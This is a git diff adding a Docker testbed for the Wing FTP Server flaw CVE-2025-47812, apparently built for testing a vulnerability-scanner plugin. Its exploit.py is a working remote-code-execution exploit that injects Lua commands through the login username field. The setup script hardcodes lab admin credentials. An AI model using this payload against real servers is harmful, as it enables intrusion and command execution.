diff --git a/wingftp/CVE-2025-47812/Dockerfile b/wingftp/CVE-2025-47812/Dockerfile new file mode 100644 index 00000000..e283d4cb --- /dev/null +++ b/wingftp/CVE-2025-47812/Dockerfile @@ -0,0 +1,31 @@ +# Use a minimal base image +FROM ubuntu:22.04 + +# Set non-interactive mode +ENV DEBIAN_FRONTEND=noninteractive + +# Install required packages +RUN apt-get update && apt-get install -y \ + tar \ + curl \ + && rm -rf /var/lib/apt/lists/* + + +# Copy WingFTP archive and setup script +COPY wftpserver-linux-64bit.tar.gz /tmp/ +COPY setup-target.sh /opt/wftpserver/ + +# Extract WingFTP into /opt/wftpserver +RUN tar -xzf /tmp/wftpserver-linux-64bit.tar.gz -C /opt/ && \ + rm -f /tmp/wftpserver-linux-64bit.tar.gz && \ + chmod +x /opt/wftpserver/setup-target.sh && \ + chmod +x /opt/wftpserver/wftpserver + +# Set working directory +WORKDIR /opt/wftpserver + +# Expose ports +EXPOSE 5466 5467 + +# Run the setup script +ENTRYPOINT ["./setup-target.sh"] diff --git a/wingftp/CVE-2025-47812/README.md b/wingftp/CVE-2025-47812/README.md new file mode 100644 index 00000000..d209493b --- /dev/null +++ b/wingftp/CVE-2025-47812/README.md @@ -0,0 +1,101 @@ +# WingFTP Testbed for CVE-2025-47812 + +A comprehensive Docker testbed for WingFTP server that automates deployment, configuration, and provisioning for testing tsunami scanner plugin. + +## Overview + +This testbed creates a fully containerized WingFTP environment with automated setup, pre-configured admin access, and a demo domain with anonymous user access. The setup is optimized for rapid deployment and testing scenarios. + +## Architecture + +### Docker Image Components + + +**Application Layer** +- **WingFTP Server**: Extracted to `/opt/wftpserver/` +- **Configuration Management**: Automated XML-based admin and domain setup +- **Service Orchestration**: Background process management with health checks + +### Port Configuration + +| Port | Service | Purpose | +|------|---------|---------| +| `5466` | Admin Web UI | Management console and configuration interface | +| `5467` | Domain Controller | Primary domain web interface for user access | + +## Setup Process + +### Phase 1: Infrastructure Setup +- Extracts WingFTP server binaries and makes them executable +- Configures directory structure and permissions +- Initializes logging and runtime directories + +### Phase 2: Administrative Configuration +- **Admin Credentials Setup** + - Username: `administrator` + - Password: `wingftp` (MD5 hashed in configuration) + - Binds admin interface to port `5466` +- **Security Configuration**: Applies minimal security settings for testing environment + +### Phase 3: Domain Provisioning +- **Background Service**: Launches WingFTP server daemon +- **Readiness Verification**: Polls for service availability +- **Session Management**: Establishes authenticated admin session via `UIDADMIN` cookie +- **Domain Creation**: + - Domain Name: `poc` + - Binding: All network interfaces + - Protocol Configuration: HTTP on port `5467` (FTP/FTPS disabled) + +### Phase 4: User Provisioning +- **Anonymous User**: Created with standard access permissions +- **Default Limits**: Configured for testing scenarios +- **Access Controls**: Relaxed restrictions for development/testing + +## Quick Start + +### Prerequisites +- Docker Engine installed and running +- Required files in build context: + - `wftpserver-linux-64bit.tar.gz` + - `setup-target.sh` + +### Deployment Commands + +```bash +# Build the testbed image +docker build -t wingftp-testbed . + +# Run with port mapping +docker run --rm -p 5466:5466 -p 5467:5467 --name wingftp wingftp-testbed + +# Alternative: Run in detached mode +docker run -d -p 5466:5466 -p 5467:5467 --name wingftp wingftp-testbed + +# View logs +docker logs -f wingftp +``` + +## Access Points + +### Administrative Interface +- **URL**: `http://localhost:5466` +- **Username**: `administrator` +- **Password**: `wingftp` + +### Domain Web Interface +- **URL**: `http://localhost:5467` +- **Access**: Anonymous user enabled + +## Testing + +### CVE-2025-47812 Exploitation + +Execute the provided exploit script against the running testbed: + +```bash +# Ensure testbed is running +docker ps | grep wingftp + +# Run exploit against target +python3 exploit.py +``` diff --git a/wingftp/CVE-2025-47812/exploit.py b/wingftp/CVE-2025-47812/exploit.py new file mode 100644 index 00000000..49c54b44 --- /dev/null +++ b/wingftp/CVE-2025-47812/exploit.py @@ -0,0 +1,103 @@ +import requests +import re +from urllib.parse import quote +import time + +def get_uid_cookie(session, base_url, username, command): + url = f"{base_url}/loginok.html" + headers = { + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36", + "Origin": base_url, + "Referer": f"{base_url}/login.html", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "keep-alive", + "Cache-Control": "max-age=0", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Site": "same-origin", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-User": "?1", + "Sec-Fetch-Dest": "document", + "sec-ch-ua": '"Not.A/Brand";v="99", "Chromium";v="136"', + "sec-ch-ua-mobile": "?0", + "sec-ch-ua-platform": '"Linux"', + } + + encoded_username = quote(username) + payload = ( + f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")" + "%0dh%3aclose()%0dprint(r)%0d--&password=" + ) + + print(f"[*] Trying to get UID... Payload: {command}") + print("Payload used :" + payload) + try: + response = session.post(url, data=payload, headers=headers) + set_cookie = response.headers.get("Set-Cookie", "") + match = re.search(r"UID=([a-f0-9]+)", set_cookie) + if match: + uid = match.group(1) + print(f"[+] UID obtained: {uid}") + return uid + else: + print("[-] UID not found!") + return None + except Exception as e: + print(f"[-] Error occurred: {e}") + return None + +def post_to_dir(session, base_url, uid): + url = f"{base_url}/dir.html" + headers = { + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36", + "Origin": base_url, + "Referer": f"{base_url}/login.html", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "close", + "Cache-Control": "max-age=0", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Site": "same-origin", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-User": "?1", + "Sec-Fetch-Dest": "document", + "sec-ch-ua": '"Not.A/Brand";v="99", "Chromium";v="136"', + "sec-ch-ua-mobile": "?0", + "sec-ch-ua-platform": '"Linux"', + "Cookie": f"UID={uid}" + } + + print("[*] Sending /dir.html request...") + try: + response = session.post(url, data=b"1", headers=headers) + print(f"[+] HTTP {response.status_code}") + print("------ Response Start ------") + print(response.text) + print("------ Response End ------") + except Exception as e: + print(f"[-] Error: {e}") + +def main(): + print("=" * 60) + print(" CVE-2025-47812 - Wing FTP Server RCE Exploit") + print("=" * 60) + + base_url = "http://localhost:5467" + username = "anonymous" + + command = input("Command to execute (default: whoami): ").strip() or "whoami" + session = requests.Session() + uid = get_uid_cookie(session, base_url, username, command) + if uid: + post_to_dir(session, base_url, uid) + else: + print("[-] Failed to obtain UID, exploit aborted.") + + + +if __name__ == "__main__": + main() diff --git a/wingftp/CVE-2025-47812/setup-target.sh b/wingftp/CVE-2025-47812/setup-target.sh new file mode 100644 index 00000000..bb792ac3 --- /dev/null +++ b/wingftp/CVE-2025-47812/setup-target.sh @@ -0,0 +1,115 @@ +#!/usr/bin/env bash +# wingftp_autosetup.sh - Minimal auto setup: start WingFTP, create domain+user +# Testbed for WingFTP CVE-2025-47812 +set -euo pipefail + +ADMIN="administrator" +PASS="wingftp" +PORT="5466" +HOST="127.0.0.1:5466" +BASE_URL="http://127.0.0.1:5466" +WING_HOME="$(dirname "$(readlink -f "$0")")" +ADMIN_DIR="$WING_HOME/Data/_ADMINISTRATOR" + +# --- Setup admin XML --- +mkdir -p "$ADMIN_DIR" +MD5=$(echo -n "$PASS" | md5sum | awk '{print $1}') +cat >"$ADMIN_DIR/admins.xml" <$ADMIN$MD50 +EOF +cat >"$ADMIN_DIR/settings.xml" <$PORT0 +EOF + +# --- Start server in background for setup --- +"$WING_HOME/wftpserver" >/dev/null 2>&1 & +SERVER_PID=$! +echo "WingFTP server started with PID: $SERVER_PID" + + + +# Wait for server to be ready +echo "Waiting for server to initialize..." +sleep 5 + +# Test if server is responding +for i in {1..10}; do + if curl -s -f "$BASE_URL/admin_login.html" >/dev/null 2>&1; then + echo "Server is ready!" + break + fi + echo "Waiting for server... ($i/10)" + sleep 2 +done + +# Login and grab UIDADMIN cookie +echo "Performing login..." +LOGIN_RESP=$(curl --path-as-is -i -s -k -X 'POST' \ + -H "Host: ${HOST}" \ + -H 'Content-Length: 87' \ + -H 'Cache-Control: max-age=0' \ + -H "Origin: ${BASE_URL}" \ + -H 'Content-Type: application/x-www-form-urlencoded' \ + -H 'Upgrade-Insecure-Requests: 1' \ + -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36' \ + -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8' \ + -H 'Sec-GPC: 1' \ + -H 'Accept-Language: en-US,en;q=0.6' \ + -H "Referer: ${BASE_URL}/admin_login.html" \ + -H 'Accept-Encoding: gzip, deflate, br' \ + -H 'Connection: keep-alive' \ + -b 'admin_lang=english' \ + --data-binary "username=${ADMIN}&password=${PASS}&username_val=${ADMIN}&password_val=${PASS}" \ + "$BASE_URL/admin_loginok.html") + +UIDADMIN=$(echo "$LOGIN_RESP" | grep -i '^Set-Cookie:' | grep -o 'UIDADMIN=[^;]*' | head -n1 | cut -d'=' -f2) +if [[ -z "$UIDADMIN" ]]; then + echo "Login failed - server may not be ready" + echo "Server PID: $SERVER_PID" + ps aux | grep wftpserver || true + exit 1 +fi + +echo "Login successful, creating domain and user..." +COOKIE="admin_lang=english; UIDADMIN=$UIDADMIN" + +# Create domain +curl --path-as-is -i -s -k -X 'POST' \ + -H "Host: ${HOST}" \ + -H 'Content-Length: 90' \ + -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36' \ + -H 'Content-Type: application/x-www-form-urlencoded' \ + -H 'Accept: */*' \ + -H 'Sec-GPC: 1' \ + -H 'Accept-Language: en-US,en;q=0.6' \ + -H "Origin: ${BASE_URL}" \ + -H "Referer: ${BASE_URL}/main.html?lang=english" \ + -H 'Accept-Encoding: gzip, deflate, br' \ + -H 'Connection: keep-alive' \ + -b "$COOKIE" \ + --data-binary 'domain=poc&bindaddress=*&ftp_port=-1&ftps_port=-1&http_port=5467&https_port=-1&ssh_port=-1' \ + "$BASE_URL/admin_create_domain.html" > /dev/null + +# Create anonymous user in the new domain +curl --path-as-is -i -s -k -X 'POST' \ + -H "Host: ${HOST}" \ + -H 'Content-Length: 1623' \ + -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36' \ + -H 'Content-Type: application/x-www-form-urlencoded' \ + -H 'Accept: */*' \ + -H 'Sec-GPC: 1' \ + -H 'Accept-Language: en-US,en;q=0.6' \ + -H "Origin: ${BASE_URL}" \ + -H "Referer: ${BASE_URL}/admin_adduser_form.html?domain=poc&seeds=0.009813035357509325" \ + -H 'Accept-Encoding: gzip, deflate, br' \ + -H 'Connection: keep-alive' \ + -b "$COOKIE" \ + --data-binary $'domain=poc&user=%7B%22username%22%3A%22anonymous%22%2C%22password%22%3A%22%22%2C%22max_download%22%3A%220%22%2C%22max_upload%22%3A%220%22%2C%22max_download_account%22%3A%220%22%2C%22max_upload_account%22%3A%220%22%2C%22max_connection%22%3A%220%22%2C%22connect_timeout%22%3A%225%22%2C%22idle_timeout%22%3A%225%22%2C%22connect_per_ip%22%3A%220%22%2C%22pass_length%22%3A%220%22%2C%22show_hidden_file%22%3A0%2C%22change_pass%22%3A0%2C%22send_message%22%3A0%2C%22ratio_credit%22%3A%220%22%2C%22ratio_download%22%3A%221%22%2C%22ratio_upload%22%3A%221%22%2C%22ratio_count_method%22%3A0%2C%22enable_ratio%22%3A0%2C%22current_quota%22%3A%220%22%2C%22max_quota%22%3A%220%22%2C%22enable_quota%22%3A0%2C%22note_name%22%3A%22%22%2C%22note_address%22%3A%22%22%2C%22note_zip%22%3A%22%22%2C%22note_phone%22%3A%22%22%2C%22note_fax%22%3A%22%22%2C%22note_email%22%3A%22%22%2C%22note_memo%22%3A%22%22%2C%22ipmasks%22%3A%5B%5D%2C%22filemasks%22%3A%5B%5D%2C%22directories%22%3A%5B%5D%2C%22usergroups%22%3A%5B%5D%2C%22schedules%22%3A%5B%5D%2C%22subdir_perm%22%3A%5B%5D%2C%22enable_schedule%22%3A0%2C%22limit_reset_type%22%3A%220%22%2C%22limit_enable_upload%22%3A0%2C%22cur_upload_size%22%3A%220%22%2C%22max_upload_size%22%3A%220%22%2C%22limit_enable_download%22%3A0%2C%22cur_download_size%22%3A%220%22%2C%22max_download_size%22%3A%220%22%2C%22enable_expire%22%3A0%2C%22expiretime%22%3A%22%22%2C%22protocol_type%22%3A63%2C%22enable_password%22%3A0%2C%22enable_account%22%3A1%2C%22ssh_pubkey_path%22%3A%22%22%2C%22enable_ssh_pubkey_auth%22%3A0%2C%22ssh_auth_method%22%3A0%2C%22enable_weblink%22%3A1%2C%22enable_uplink%22%3A1%7D&r=0.6865473607034562' \ + "${BASE_URL}/admin_adduser.html" > /dev/null + +echo "WingFTP automation complete" +\echo "Admin interface: http://127.0.0.1:5466" +echo "Domain server: http://127.0.0.1:5467" + +# Keep container alive +while true; do sleep 3600; done \ No newline at end of file diff --git a/wingftp/CVE-2025-47812/wftpserver-linux-64bit.tar.gz b/wingftp/CVE-2025-47812/wftpserver-linux-64bit.tar.gz new file mode 100644 index 00000000..ed42880c Binary files /dev/null and b/wingftp/CVE-2025-47812/wftpserver-linux-64bit.tar.gz differ